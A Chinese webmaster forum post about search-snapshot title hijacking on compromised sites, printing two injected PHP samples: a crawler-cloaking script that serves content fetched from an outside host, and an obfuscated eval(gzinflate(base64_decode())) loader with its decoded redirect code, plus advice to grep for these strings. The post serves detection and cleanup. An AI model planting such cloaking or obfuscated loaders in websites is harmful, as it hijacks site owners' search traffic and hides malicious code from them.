西安做网站_西安网站建设公司_西安网页制作_西安网页设计_西安网站制作设计公司

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 10983|回复: 0

篡改百度快照网页标题的解决方法

[复制链接]
发表于 2012-10-13 18:22:19 | 显示全部楼层 |阅读模式


最近客户网站虽然百度收录了三四万 但发现好多快照标题不是自己网站的标题,麻烦啊 经过仔细查找 重要找到了解决办法。
所谓的黑客利用漏洞 或者文件上传可以修改程序文件或者上传程序文件,这个文件是干啥的呢?就是用来区分是蜘蛛还是平常访问,如果是蜘蛛爬行的话 他就引导蜘蛛抓他网站的页面,导致快照标题是黑客搞的 点进去却是自己网站的标题。

     类似这样的篡改网页标题的方法 现在发现有俩种

1、这些人会上传一个文件 文件是:
  1. <?php
  2. @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);
  3. ini_set('display_errors',0);

  4. $spider_arr = array(
  5.         'baiduspider',
  6.         'baiduspider/2.0',
  7.         'baiducustomer',
  8.         'baidu-thumbnail',
  9.         'baiduspider-mobile-gate',
  10.         'baiduspider-mobile-gate',
  11.         'baidu-transcoder/1.0.6.0',

  12.         'googlebot/2.1',
  13.         'googlebot-image/1.0',
  14.         'feedfetcher-google',
  15.         'mediapartners-google',
  16.         'adsbot-google',
  17.         'googlebot-mobile/2.1',
  18.         'googlefriendconnect/1.0',

  19.         'sosospider',
  20.         'sosoblogspider',
  21.         'sosoimagespider',

  22.         'sogou web robot',
  23.         'sogou web spider/3.0',
  24.         'sogou web spider/4.0',
  25.         'sogou head spider/3.0',
  26.         'sogou-test-spider/4.0',
  27.         'sogou orion spider/4.0',
  28. );

  29. $not_spider_ip_arr = array(
  30.         "222.77.187.33",
  31.         "125.90.88.96"
  32. );

  33. $ref_arr = array(
  34.     'baidu.com',
  35.     'google.com'
  36. );

  37. $agent = $_SERVER['HTTP_USER_AGENT'];
  38. $rip = $_SERVER["REMOTE_ADDR"];
  39. $referer = $_SERVER["HTTP_REFERER"];

  40. $spider = false;
  41. foreach($spider_arr as $_spider) {
  42.         if(stripos($agent,$_spider) !== false) {
  43.                 $spider = true;
  44.                 break;
  45.         }
  46. }

  47. if(in_array($rip,$not_spider_ip_arr)) {
  48.         $spider = false;
  49. }

  50. $ref = false;
  51. foreach($ref_arr as $_ref) {
  52.         if(stripos($referer,$_ref) !== false) {
  53.                 $ref = true;
  54.                 break;
  55.         }
  56. }


  57. if(array_key_exists('bd',$_GET)&&$ref) {
  58.         $xt = trim($_GET['bd']);
  59.         Header("Location: ".'http://www.baidu.com?'.$_SERVER['SERVER_NAME']);
  60.         exit;
  61. }

  62. if($spider) {
  63.         echo file_get_contents('http://www.xxx.cn/web/bbs/xin.asp');
  64. }
  65. ?>
复制代码
所以有遇到这样情况的站站 请根据这个程序的关键字进行批量查找网站,比如 批量查找 echo file_get_contents( 这样的关键词语。如果您懂程序 就会发现 此程序的原理就是我刚说的 。

2、这些人 会 在网站上挂上


  1. eval(gzinflate(base64_decode('hVZ7b9owEP8fie/gWlGbrBASWFlbRqtuZRpTH4hV2ySGIje4xWpeckxY1fHdd3YeBGg6FMnx3e/ufvewSb1Wr1HOQ+5wGoVcsOBRt4xeveZ6JI4R8bxw6bAIvdRrqF5LCEdaIesjwjl51rHd7ph2+8j8YJt2s31k4QZuWx2zbR2bXcu0u1Ym7HbN9vsTs3sMKpC1FbANiGMwBLBtK6EMD8EeFoErWBggx3HDIBZ84QrdACKrbfWM7mgjzhIiKCpQPnmiI04fhyNdA7RRr8mUEHtAOmzhUeIGbmLDUNnCTyPDEWRJ/0ReOKM6NnFD2fZS9UPIKXHnSFc4EiPtqX+mJYV56n0vd59sOlcBImDkeMxnApl9pIk5i5tnZapJHmwLClx6uZ8Vol5My24Ji24Wfpl6E6gnJeK6xvoZbGJNexr7WGxtuT08NAqHKjQEVes5/otNjZ3iiVx666CrqrQgeR6FsV6SNmQpbaPfl7X3aFDWGU3bOFd7E0/xKSDNYrdOOX1RS5p+0bNSbKgo+FdG6VQgxKlY8KCM6lWOzCMVF573yQvdJ2hFXg/Z06xR+UnY7CmDuHapMOsx2bR6dWJyHxGZzTiN0RtDsWMCYEjXYXCSPeKm84p/y6HN3Rm9KqPC5h3YTKzmyfTFbnRWyvYVq4IdbskxiExYd1FQ4FhMpjKJ3GQHdHi4O0PZkvcqc7Ru1OLeY+66T+6cph2SZQS0IPceXVduq43gRhvG30IW0BmAHggMj5JFGyaO6zEaCOhTZiLVgjNfh1cpUXOQBVORsz4XQtXfhHiLVC3xaup8IgCFX1KdLDE4TEdgTsmMch1/vbsbteBORB3LRtdhAkxHlPskAEbes7ogc+hV6BJZhVM0FyI6bbWWy6VJ3XgeRoL60FRBTTf0lY0qYPrUa1l14eKkbx6BciGyNEBKgySl6Xy+Gg5u7pzhCBtof18Ok0ti6vpRJayB8CJ4CsJlANeh6hiUtgoM3NTx3on7y/lyO/55Mb4cXMq3t6PvgP/PYcfkNSbjwfXt3cC5uLysJrCBeTPuBrIcjsUxFbrmfB+MfwzGk4MS8GCq4lbotihVoF4lVYHNaOWowrCXT5Se3RirfKi0UJ299IshoMvio0JPj5GO9taQ5tn6NBvw96Xu538=')));
复制代码
这样的东东,其实懂程序的人也知道 他只是障眼法,这个是通过encoded_data 这个函数把php程序进行压缩,我们发现通过 base64_decode解码出来后 是:


  1. <?php


  2. error_reporting(0);
  3. class allow_ip {

  4. var $allow_ip = array("123.125.71.1-250","203.208.60.160-250","66.249.68.200-220","220.181.108.11-220");

  5. function __construct(){
  6. }

  7. function __destruct(){
  8. }

  9. private function makePregIP($str)
  10. {
  11.   if (strstr($str,"-")) {
  12.     $aIP = explode(".",$str);
  13.     foreach ($aIP as $k=>$v) {
  14.       if (!strstr($v,"-")) {
  15.         $preg_limit .= $this->makePregIP($v);
  16.     $preg_limit .= ".";
  17.       } else{
  18.         $aipNum = explode("-",$v);
  19.     for($i=$aipNum[0];$i<=$aipNum[1];$i++){
  20.       $preg .=$preg?"|".$i:"[".$i;
  21.         }
  22.         $preg_limit .=strrpos($preg_limit,".",1)==(strlen($preg_limit)-1)?$preg."]":".".$preg."]";
  23.       }
  24.     }
  25.   } else {
  26.     $preg_limit = $str;
  27.   }

  28.   return $preg_limit;
  29. }

  30. private function getAllBlockIP(){
  31.     if ($this->allow_ip) {
  32.         $i = 1;
  33.         foreach ($this->allow_ip as $k=>$v) {
  34.             $ipaddres = $this->makePregIP($v);

  35.             $ip = str_ireplace(".","\.",$ipaddres);
  36.             $ip = str_replace("*","[0-9]{1,3}",$ip);
  37.             $ipaddres = "/".$ip."/";
  38.             $ip_list[] = $ipaddres;
  39.             $i++;
  40.         }
  41.     }
  42.     return $ip_list;
  43. }

  44. public function checkIP() {
  45. $iptable = $this->getAllBlockIP();
  46. $IsJoined = false;
  47. $Ip = $this->get_client_ip();
  48. $Ip = trim($Ip);
  49. if ($iptable) {
  50. foreach($iptable as $value) {
  51. if (preg_match("{$value}",$Ip)) {
  52. header("HTTP/1.1 301 Moved Permanently");
  53. header("Location: http://www.xxxx.com");

  54. }
  55. }
  56. }

  57. return true;
  58. }

  59. private function get_client_ip(){
  60. if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
  61. $ip = getenv("HTTP_CLIENT_IP");
  62. else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
  63. $ip = getenv("HTTP_X_FORWARDED_FOR");
  64. else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
  65. $ip = getenv("REMOTE_ADDR");
  66. else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
  67. $ip = $_SERVER['REMOTE_ADDR'];
  68. else
  69. $ip = "unknown";
  70. return($ip);
  71. }
  72. }

  73. $oBlock_ip = new allow_ip();
  74. if( !$oBlock_ip->checkIP() ) exit;


  75. ?>
复制代码

那么第二种方式 站长可以用 eval(gzinflate(base64_decode 关键字进行批量查找程序  看是否有。

以上就是目前发现的2种挂马 篡改快照的方法。

西安网站建设 | 西安做网站 —— 剑锋所指 所向披靡!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|西安网站建设

GMT+8, 2024-11-22 20:43 , Processed in 0.042998 second(s), 15 queries .

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表